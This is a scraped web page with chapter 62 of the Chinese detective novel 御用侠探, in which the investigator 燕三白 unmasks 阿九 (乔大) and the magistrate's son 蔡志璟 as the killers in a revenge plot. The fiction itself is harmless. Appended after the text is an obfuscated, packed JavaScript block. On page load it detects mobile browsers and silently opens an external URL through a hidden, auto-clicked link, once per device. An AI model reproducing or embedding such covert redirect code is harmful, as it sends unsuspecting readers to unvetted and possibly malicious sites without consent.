第五文学网 > 穿越小说 > 御用侠探 > 第62章 真凶

    “爹!”蔡志璟惊呼一声,眼里满是震惊。

    旁人只觉得他骤然听到真相不能接受,燕三白却不无遗憾的看着他,微微摇头,道:“蔡县令,若十几年前你便有如此勇气,今日之惨案必不会再发生。但世上没有如果,你当年未尽之事,如今恐怕也完不成了。”

    那双洞若观火的眸子直直的照进心底,蔡县令知道,他瞒不过去,这个人恐怕早已猜到了所有的前因后果。但他不想妥协放弃,握紧了拳头,道:“我不知道大人你在说什么。”

    燕三白的视线绕过他,又看向蔡志璟,“你呢?你也不知道在下在说什么吗?”

    蔡志璟垂下了头,眼神挣扎着,“我……我……”

    “哟,还挺热闹的嘛。”这时,院门外传来一声佻达轻快的声音,众人看去,就见李晏走了进来,后面跟着他的随从零丁,还有被大理寺的人带回来的阿九。

    李晏看向燕三白,“你要的人我给你带来了。”

    燕三白点点头,走上前,却绕过了李晏站到了阿九的面前。阿九顿时就变成了人群的中心,一张丑陋的脸阴沉沉的,总叫人觉得他是不是心怀叵测。

    燕三白从零丁手里接过两个匣子看了看,拿起那个还差一点才完工的,问:“阿九,这个匣子是你做的,对吗?”

    阿九点点头,不说话。其余人纷纷好奇起来,燕三白这是干嘛呢?难道原先那黑匣子跟阿九有关系?

    而后就听燕三白道:“那在下问你,跟你一起杀害了刘福、王有利、张庆三人的同伙,是蔡县令,还是另有他人?”

    虽有心里准备,但大多数人还是有些吃惊,因为燕三白的语气已经如此肯定,他们也实在想不出来这个长相可怖的男人跟最近的事情有什么关联。

    阿九却没有多少惊讶,那双本就显得阴沉的眸子更显戾气,一个原本低调的时时刻刻想要隐藏自己的人,忽然在这一刻变得凌厉起来,“你怎么认定是我?”

    燕三白的回答很简单,他拿起那个黑匣子,把正面给他看,“在下抹去了花纹上的一处小细节,可是在你做的匣子上,这个细节又死而复生了。除了你对这个匣子太过熟悉,制作之时凭心而走,在下想不出其他解释。”

    阿九默然,燕三白抹去的那个细节太过细小,不过分仔细完全没办法发现,是他疏忽了。阿九如果只是一个单纯的木匠,根本没有接触过匣子,是不可能凭空把这个细节再现的。

    然而阿九的情绪没有出现大的波动,他就像一潭死水,再大的风也不能让他掀起浪花,他只是平静的抬头,问:“前因后果你都已经知道了,对不对?”

    “在下刚才去了一趟扶笙家,他又为他母亲上山采药了。”燕三白回答。

    这个不似回答的回答让人摸不着头脑,阿九的眼中却出现了一抹柔软,喃喃道:“他很孝顺……是个好孩子……”

    说着,他的眼神却再度坚硬起来,他回头看了一眼蔡县令和蔡志璟,看着他们脸上或紧张或祈求的神情,顿了顿,道:“没错,人是我杀的,蔡县令只是给我提供了一些帮助。”

    一旁的张垣三人又是惊讶又是愤怒,“你这个混蛋!我们好心收留你在大青乡,你为何要害我们?!”

    阿九看过去,那森冷的目光看得三人就像是被掐住了喉咙的鸭子,“你们忘了曾经的被你们害死的乔大了吗?”

    “乔、乔大?!”张垣的眼珠子都快瞪出来了,“你是乔大?!”

    王德坤和刘大全也吓得齐齐后退了一步,看着阿九,宛如看着一个厉鬼,“你、你就是乔大?!不是已经死了吗!”

    阿九却似乎很满意他们的表情,裂开嘴一笑,道:“所以我从地狱里回来找你们了。”

    那笑容绽放在可怖的面容上,阴测测的吓人。

    众人不禁侧目,纷纷咋舌,这又是一桩案中案呐。

    燕三白也是一知半解,他最多只能根据现有的线索拼凑出一些大概,判断出凶手,可对于当年的实情仍是一知半解的。

    “乔大?莫非是那个乔大?!”零丁忽的想到了什么,嚯的看向王德坤三人,“你们当初说他外出谋生,实际上是把人杀了吗?”

    “怎么回事?”李晏问。

    零丁便把之前燕三白交代他做的事说了一下,其实就是向村民打听十几年前大青乡可有什么人员流动,有没有人到来,或者离开。这一打听,还真有几个,有一户人家整个迁走去投奔亲戚的,有姑娘嫁过来的,还有就是这个据说是寻到了生财的方法独自背井离乡的乔大。

    乔大是个单身汉,家里父母也死得早,所以他的离开看起来合情合理,没有多少人放在心上,可现在想来,确实有诸多蹊跷。因为他离开的时间太凑巧了,恰好是大火发生的时候,所以很多人都记得很清楚。

    听了零丁的解释,阿九坦然承认,“不错,我就是乔大,但我没有外出谋生,我只是不小心撞见了那四人行凶,然后半路被推下山道,毁了容,一直藏身在县城里。直到确认没人能把我认出来,我才回到了大青乡,一直等到现在。”

    看王德坤三人的反应,燕三白知道阿九所言非虚,至少他说出来的这个部分是对的。

    但是。

    “在下再问你们最后一遍,真凶是谁?”

    燕三白神色认真,甚至有些慎重,其余人都狐疑了起来,真凶?蔡县令和阿九难道不是真凶吗?

    场间沉默一片,无人回答。

    燕三白终是在心里叹了口气,一旁的李晏便挑眉道:“你与他们那么多口舌作甚,就算你殚精竭虑,人家也不一定会承你的情。”

    燕三白无奈的摸摸鼻子,道:“王爷说的对。有些答案已如此明显,本不必再问,关大人,麻烦你把蔡县令父子二人以及阿九、王德坤四人,都抓起来吧。罪名都一样,杀人。”

    关卿辞当然不含糊,一下就把蔡志璟反剪了双手,牢牢制住。蔡县令立刻慌了,忙道:“大人!这不关志璟的事,不关他的事啊!”

    “蔡县令,你事到如今还要隐瞒吗?在下念你护子心切,已给了你一次机会,你再如此纠缠,置朝廷法度何在?”燕三白正色道。

    “可是……”

    “可是什么?可是蔡志璟是受人蒙蔽所以才犯下大错?是因为受人蒙蔽,才杀了一个又一个?所谓冤有头债有主,刘福三人虽品性稍有瑕疵,但罪不致死,纵使有仇,不去寻正主,却杀害根本不知情之人,你身为一县父母官,觉得这样对吗?你护得了他一次,护得了他一世?”

    闻言,蔡县令痛苦的闭上了眼,其余人也终于听出了苗头——是蔡志璟!杀人的是蔡志璟!

    可是他是县令的儿子啊,从小就离开了大青乡,为什么会做这等事呢?

    就在众人疑惑之时,蔡志璟却猛的抬头,“你说我受人蒙蔽是怎么回事?”

    燕三白看了一眼阿九,又看看他,“阿九是否告诉你,你是当年那个女子所生的儿子?所以,你这一系列的杀人,其实是为了娘亲报仇?”

    此言一出,那可真是震惊了所有人。蔡志璟是那个女人的儿子?!天,这怎么可能!

    那蔡县令……难道蔡县令跟那女人有一腿?难怪,难怪呢蔡志璟从小就没有娘!

    蔡志璟急切的,不容他人质疑的冷笑道:“难道他说的不对吗?如果我不是那人的儿子,我爹为什么要在家里秘密供着她的牌位,为什么我从没有见过我娘?”

    “为什么?”燕三白缓缓说道:“理由,你爹方才不是已经说了,是因为愧疚,愧疚于自己的怯懦,愧对自己的良心。你以为自己成功的复了仇,但是你有没有想过,你父亲纵容了凶手逍遥法外,憎恨凶手的人,难道不也同样憎恨你们吗?你有没有想过,你自己本身就是被复仇的那一个!”

    “你不要胡说八道!”蔡志璟完全接受不了这样的说辞,厉声大喝着。

    燕三白却完全没有被影响,目光坚毅,“你太傻了,若哪怕跟你爹确认一句,也不会成为别人手里复仇的刀子。刘福、王有利、张庆,再加上一个李茂,你毁了四个人,最终也会毁掉你自己,这本来就是凶手的计划。让仇人的儿子自相残杀,而自己在一旁欣赏他们痛苦的表情,对不对,阿九?不,我应该叫你乔大。”

    乔大蓦的笑起来,狰狞着脸,心里像是出了一口恶气,“是又怎样?他们都是活该!王德坤张垣和村正是活该,蔡志禾也好不到哪里去!他这样的人为什么也能当上县令,所有人还夸他一心为民宅心仁厚,可当年他为什么保持沉默?!难道锦姑娘就不是人就活该去死吗!你们通通是一群伪君子,虚伪得令人恶心!”

    乔大长抒了一口气,“当年的大青乡就是这样,我天生驼背,长得也不怎么样,又是孤家寡人一个,所有人看似对我和善,可明里暗里的人其实都排斥我!所有人都像是被村正和族老抓在手心里的傀儡,他们说什么就是什么,只有锦姑娘了解我,只有她愿意跟我说话,可是他们却毁了她!我那时就发誓,总有一天会叫他们都付出代价!”

    阿九愤怒的声音就像一只受伤的野兽在嘶吼,叫人听得心里一紧。那该是多么刻骨对我仇恨和不甘心才能发出这样的声音。

    很多人都默然了,场间顿时陷入了诡异的沉默。

    然而燕三白却抬起那双灿若星辰的眸子,用那从始至终没有被动摇过的眼神,看着他,轻声问:“那你当初……为什么不干脆把那位锦姑娘救出来呢?”


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))